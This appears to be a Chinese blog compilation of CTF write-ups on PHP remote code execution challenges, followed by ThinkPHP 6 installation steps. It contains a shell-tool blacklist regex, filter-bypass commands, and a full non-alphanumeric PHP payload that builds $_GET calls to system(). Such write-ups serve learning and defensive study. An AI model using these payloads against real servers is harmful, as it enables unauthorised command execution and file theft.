刷刷刷刷刷RCE

云曦历年考核

25年春开学考

RCCCE

开启题目进行代码审计

GET传参传入一个参数cmd,但对参数内容给了黑名单进行过滤

$blacklist = '/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|"|\>|\<|\%|\$/i';

ls、cat等都被过滤了,最后还不区分大小写

尝试过两个命令以后发现是无回显RCE,所以尝试用输出文件的方式

命令

?cmd="ls -l > a";

但是别忘了短线也在黑名单里,所以只能换一个

cmd=ls / | tee a

大意就是用ls命令查询目录以后把查询结果放入创建的文件a里面

然后访问a文件

诶哟没查询到,说明命令没有执行成功,检查了一下发现ls被过滤,没有绕过,加一个反斜杠

cmd=l\s / | tee a

这次就访问到了

可以看到有一个flag目录

然后利用cat命令抓取flag

因为cat和flag都被过滤,所以用  c\at  和   /fl\ag   绕过,然后输出到b文件中

然后访问b文件得到flag

ctfshow

RCE挑战1

代码审计

POST传入一个参数code,并把 (  和  .  替换掉

思路就是利用echo来传一个shell命令,用反引号输出(反引号是和 ~ 键一起的英文格式)

执行命令

code=echo `ls /`;

查看到目录

很明显的flag目录,直接cat

code=echo `cat /f1agaaa`;

(cat后面加 / 是cat flag的必要格式)

得到flag

RCE挑战2

代码解释为不会显示错误信息

然后用POST传入参数 ctf_show  

  

然后给定一个正则表达式 匹配参数中的字符

这里eval()函数我看别人的解释是把参数中的字符串按照PHP代码来计算(我只记得Python里是将字符串数字化)也就是说参数里的字符串如果合法就按PHP代码计算,如果不合法就输出“Are you hacking me AGAIN”

可以看到正则表达式过滤的字符比较多,大小写字母a-z,数字0-9,还有引号括号和其他特殊符号等

隔了一晚上回来发现这题是真有点意思

 可以发现,虽然正则表达式过滤了很多字符,但是 ! $ ' () + , . / ; = [] _   这些字符没被过滤,

而这些字符没被过滤的话第一就应该想到那个变量自增绕过

这个方法之前有记录过,但不是很详细

但大概就是利用变量自增构造出  $GET[_] ($_GET[__]);   (注意,两个中括号 [ ] 里的下划线不一样长)用于实现命令执行

比如我用POST传参构造出$GET[_]($_GET[_]);这个格式,然后get传参就可以用_和__替换被过滤的字符

在php中,如果$a="A",那么执行$a++后,$a的值为B

因此可以用这种方法获取所有的字母。

那如何获得A呢?

[]默认表示数组名为Array,[]._表示数组名Array,拼接上字符_ 取Array_的第0个位置的元素就是“A”

$_=[ ]   

echo $_

$_的取值就是Array

$_=[ ]._ 

echo $_[0];

$_的取值就是A

但是别忘了这题数字0被过滤了,这里查询到了两种替换方法:

1、布尔表达式(用两个没被过滤的、不同的字符组成布尔表达式作为数组的索引)

例如 '!'=='+'    因为两个字符不同(不相等)所以返回值为0。 但是这个太长了

2、用 '_' _ 作为数组的索引

那我现在的思路就是要构造出$GET[_] ($_GET[__]);   用于执行system('ls /');

整体思路如下:

$_=[]._;         //$_变量的值为Array_
$_=$_['_'];      //将$_赋值为$_[0],此时$_的值为A
$_++;$_++;$_++;  //$_的值依次递增为B、C、D
$__=++$;         //++在$前,就是先把$_自增后的值赋值给$__,此时$__的值为E,$_的值也为E。但如果是$_=$++的话,$__的值就是D了,可以理解为++在前是先自增再赋值,++在后就是先赋值才自增,这个和C语言中“i++与++i”的区别是一样的
$_++;            //$_继续自增为F
$__=++$_.$__;    //$_自增为G,与$__的值E拼接后,再赋值给$__,此时$__的值为GE
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;  //$_的值依次递增为H、I、J、K、L、M、N、O、P、Q、R、S $_当前的值为S
$_=$__.++$_;     //$_自增为T并拼接到GE后面,再赋值给$_,此时$_的值为GET
$_='_'.$_;       //在GET的前面拼接一个_,此时$_的值为_GET 这里的'_'也可以是_
$$_[_]($$_[__]); //拼接出了$_GET[_]($_GET[__]),get传参的参数名分别为_和__  而这里我想构造的_是system,__是ls /  就会在eval的括号中拼接出system('ls /');

 所以,构造出来的payload就是:
ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_='_'.$__;$$_[_]($$_[__]);

url拼接替换_和__的执行命令?_=system&__=ls /即可

然后Excute

发现疑似flag目录f1agaaa

然后换命令ls / 为cat /f1agaaa 即可得到flag

 

NSSCTF

【SWPUCTF 2021 新生赛】easyrce

查看源代码

可以看到源码使用了eval()函数接收GET传参的url参数(上面说过,eval()函数会将字符串作为php代码执行)

这样就比较简单了,只要题目没有对我们的输入内容进行严格的过滤,直接利用eval()函数执行php恶意代码就可以达到我们的目的

比如我现在利用phpinfo();语句查看php信息

可以看到PHP配置信息,说明服务器执行了phpinfo()函数(即代码执行函数

假如现在我再换一个系统命令执行函数(system()     命令:?url=system("ls -l");

可以看到列出了当前目录下的文件和文件夹 (即上面所说系统命令执行函数

那既然解题时是为了flag而来,就应该想想怎么利用这些东西来get flag

这里说一下这两个函数的区别:

system("ls /");

这个命令表示列出根目录下的文件和名称 ;

system("ls -l");

而这个命令表示的是以长格式列出当前工作目录下的文件目录详细信息

然后我刚刚用的是这个命令:system("ls -l");

回显这一串

这表示的是当前工作目录下只有一个文件index.php,还显示了该文件的详细信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的详细信息)

那这样说的话假如我换命令system("ls /l"); 也就是列出根目录下的文件和名称, 回显肯定是不同的,那就执行一下看看:

可以看到回显出的根目录,其的确与回显当前工作目录文件名的命令不一样,这说明PHP脚本的当前工作目录不是根目录/),而是某个特定的目录,例如脚本所在的目录

这样也就提醒了我以后尽量先用找根目录的命令(system("ls /");),这样一层层往里剥

诶其中的flllllaaaaaaggggggg目录明显就是提醒flag所在,那就针对这个目录即可

然后由于比较简单,一 cat就出flag了(Linux的OS命令cat:显示文件内容)

[SWPUUCTF 2022 新生赛]ez_rce

打开题目显示啥也没有?

查看源代码也没有什么

那就用kali扫一下目录康康

进入root用户

然后nc连一下,再ls查看一下目录

但是发现好像并没有什么有用的

那就尝试用dirsearch

 额我的kali是新装的,重新安装一下dirsearch

apt install dirsearch

安装结束

然后开始扫

但结果发现连接不上

又试了两次还是连接不上

最后只好尝试用nikto(这个是一款开源的 网站扫描 工具,用于发现Web服务器上的安全漏洞和配置错误,且是kali自带的,可以直接使用),而我用这个的目的主要是扫出这个环境的ip

命令

nikto -host +url /**/环境http网址/**/

扫描

可以发现目标ip

然后把刚刚dirsearch的网址换位ip再进行一次扫描

发现这次连接成功了

目录有很多,没全截

但是发现有robots.txt,访问一下

可以看到有一个index.php文件,一猜就知道肯定是代码甚至是网站源码文件,直接访问

再往后没招了,上网后得到提示,搭建ThinkPHP框架

install for all users

 不勾选

 指定PHP安装位置

 别忘了勾选add

 然后点击Next

 继续Next

 然后Install

 

 Next

剩下就Next finish就可以了

然后Win+R打开cmd,输入composer看是否安装成功

可以看到安装成功

然后安装TP前切换镜像

继续在cmd里执行以下其中一条命令切换镜像

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/   /**/阿里云/**/
composer config -g repo.packagist composer https://repo.huaweicloud.com/repository/php/   /**/华为云/**/

我选了第二个安装

安装稳定版

我是第一次安装,所以进入文件夹根目录下单击右键到终端中打开

 

然后执行以下命令:

composer create-project topthink/think tp6

这里的tp命令可以任意更改,这个目录就是我们后面会经常提到的应用根目录

执行

测试运行

 还是在cmd命令行的项目目录中,输入运行命令:

先进入

cd tp6

然后执行

php think run

这个过程会弹出是否让防火墙允许其访问公共网路,允许即可

在浏览器输入127.0.0.1:8000或http://localhost:8000

OK到这一步就完成了ThinkPHP6.0的安装

如果80端口没被占用的情况下,使用如下命令直接访问http://localhost;

php think run -p 80

这样ThinkPHP6.0已经帮我们将域名自动部署到public里了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/80581.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024江西ICPC部分题解

题目列表 A - Maliang Learning PaintingC - LiarG - Multiples of 5H - ConvolutionJ - Magic MahjongK - Magic Tree A - Maliang Learning Painting 题目来源&#xff1a;A - Maliang Learning Painting 思路分析 这是个签到题&#xff0c;直接输出abc即可 #include<b…

Pytorch图像数据转为Tensor张量

PyTorch的所有模型&#xff08;nn.Module&#xff09;都只接受Tensor格式的输入&#xff0c;所以我们在使用图像数据集时&#xff0c;必须将图像转换为Tensor格式。PyTorch提供了torchvision.transforms模块来处理图像数据集。torchvision.transforms模块提供了一些常用的图像预…

为什么vllm能够加快大模型推理速度?

vLLM加速大模型推理的核心技术原理可分解为以下关键创新点&#xff1a; 一、‌内存管理革命&#xff1a;PagedAttention‌ KV Cache分页机制‌ 将传统连续存储的KV Cache拆分为非连续内存页&#xff0c;类似操作系统内存分页管理&#xff0c;消除内存碎片并实现动态分配。13B…

第十一章 多态

多态是面向对象开发过程中一个非常重要的概念。 11.1 多态概述 11.1.1 什么是多态 多态&#xff08;polymorphism&#xff09;&#xff0c;从字面理解是“多种形态&#xff0c;多种形式”&#xff0c;是一种将不同的特殊行为泛化为当个特殊记号的机制。 多态从实现的角度可划…

RNN——循环神经网络

一.基本结构 1.目标&#xff1a;处理序列数据&#xff08;时间序列&#xff0c;文本&#xff0c;语音等&#xff09;&#xff0c;捕捉时间维度上的依赖关系 核心机制&#xff1a;通过隐藏状态&#xff08;hidden State&#xff09;传递历史信息&#xff0c;每个时间步的输入包…

性能提升手段--池化技术

看到hadoop代码里有ByteBufferPool,使用池子来避免频繁创建、销毁ByteBuffer,减轻GC压力,提高性能。 顺便总结一下池化技术 一、什么是池化技术?​​ ​​池化(Pooling)​​ 是一种资源管理策略,通过​​预先创建并复用资源​​(如数据库连接、线程、内存对象等)来提…

数据安全和合规性市场分析

一、什么是数据安全和合规性 在数据安全和合规性方面&#xff0c;存在着一系列重要的法律、法规和行业标准&#xff0c;这些规定了组织如何收集、存储、处理和保护个人数据及其他敏感信息。企业之所以要遵守这些规定&#xff0c;是出于多方面的考量&#xff0c;既有法律责任&a…

【每日八股】复习计算机网络 Day4:TCP 协议的其他相关问题

文章目录 昨日内容复习已经建立了 TCP 连接&#xff0c;客户端突然出现故障怎么办&#xff1f;什么时候用长连接&#xff1f;短连接&#xff1f;TCP 的半连接队列与全连接队列&#xff1f;什么是 SYN 攻击&#xff1f;如何避免&#xff1f;TIME_WAIT 的作用&#xff1f;过多如何…

React:<></>的存在是为了什么

1. <></> 是什么&#xff1f; <></> 是 React 的Fragment&#xff08;片段&#xff09;语法糖&#xff0c;等价于 <React.Fragment></React.Fragment>。 2. 它的作用 主要作用&#xff1a; 允许你在组件里返回多个元素&#xff0c;而不需…

cron定时任务

cron定时任务 一、Cron表达式的定义 基础结构 Cron表达式是由空格分隔的6或7个字段组成的字符串&#xff0c;格式为&#xff1a; 秒 分 时 日 月 星期 [年]其中&#xff0c;年通常可以被省略 字段说明&#xff1a; 秒&#xff08;0-59&#xff09; 秒字段表示每分钟的哪一…

分布式之易混淆概念

昨天写UE写的破防了&#xff0c;忘了写文章&#xff0c;今天补一下分布式的一些概念。&#x1f61a; 在软件架构领域&#xff0c;微服务、领域驱动设计&#xff08;DDD&#xff09;和分布式系统是三个高频且容易被混淆的概念。许多开发者误以为它们是“同一件事的不同说法”&a…

量子跃迁:Vue组件安全工程的基因重组与生态免疫(完全体终局篇)

开篇数字免疫系统的范式革命 在2025年某国际金融峰会期间&#xff0c;黑客组织利用量子计算技术对全球37个交易系统发起协同攻击。传统安全组件在2.7秒内集体失效&#xff0c;造成每秒超18亿美元的交易漏洞。这场数字"切尔诺贝利"事件促使我们重新定义前端安全——组…

Operating System 实验七 Linux文件系统实验

实验目标: 使用dd命令创建磁盘镜像文件ext2.img并格式化为ext2文件系统,然后通过mount命令挂载到Linux主机文件系统。查看ext2文件系统的超级块的信息,以及数据块的数量、数据块的大小、inode个数、空闲数据块的数量等信息 在文件系统中创建文件xxxxx.txt(其中xxxxx为你的学…

模型识别能力锤炼及清单

大脑将注意力分配给需要消耗脑力的活动&#xff0c;通过学习技能&#xff0c;大脑也能更轻松的工作。这个时候&#xff0c;大脑负责管理注意力控制和努力控制的区域活动会大幅减少。沉浸式学习是学习一门新的语言的最佳方式&#xff0c;也是深入洞察错综复杂商业环境的绝佳途径…

Android 混合开发实战:统一 View 与 Compose 的浅色/深色主题方案

整个应用&#xff08;包括 View 和 Compose 部分&#xff09;的浅色/深色模式保持一致。以下是完整的解决方案&#xff1a; 全局配置方案 1. 基础主题设置 在 res/values/themes.xml 和 res/values-night/themes.xml 中定义统一的主题&#xff1a; <!-- values/themes.x…

QT开发技术【QT实现桌面右下角消息】

一、效果 ![ 二、弹窗主体部分 noticewidget /* ** File name: NoticeWidget.h ** Author: ** Date: 2025-04-25 ** Brief: 通知栏控件 ** Copyright (C) 1392019713qq.com All rights reserved. */#include "../Include/NoticeWidget.h"…

在LiveGBS GB28181互联网安防监控平台中关于redis版本切换的方法说明

目录 1、Redis服务2、如何切换REDIS? 2.1、停止启动REDIS2.2、配置信令服务2.3、配置流媒体服务2.4、启动3、搭建GB28181视频直播平台 1、Redis服务 在LivGBS中Redis作为数据交换、数据订阅、数据发布的高速缓存服务。默认LiveCMS解压目录下会携带一个REDIS服务。如果已经有自…

vue3中的effectScope有什么作用,如何使用?如何自动清理

vue3中的effectScope有什么作用&#xff0c;如何使用?如何自动清理 vue3中的effectScope有什么作用&#xff0c;如何使用 官网介绍&#xff1a;作用特点简单示例&#xff1a;自动清理示例 官网介绍&#xff1a; 创建一个 effect 作用域&#xff0c;可以捕获其中所创建的响应…

搭建基于火灾风险预测与防范的消防安全科普小程序

基于微信小程序的消防安全科普互动平台的设计与实现&#xff0c;是关于微信小程序的&#xff0c;知识课程学习&#xff0c;包括学习后答题。 技术栈主要采用微信小程序云开发&#xff0c;有下面的模块&#xff1a; 1.课程学习模块 2.资讯模块 3.答题模块 4.我的模块 还需…

python 与Redis操作整理

以下是使用 Python 操作 Redis 的完整整理&#xff0c;涵盖基础操作、高级功能及最佳实践&#xff1a; 1. 安装与连接 (1) 安装库 pip install redis(2) 基础连接 import redis# 创建连接池&#xff08;推荐复用连接&#xff09; pool redis.ConnectionPool(hostlocalhost, …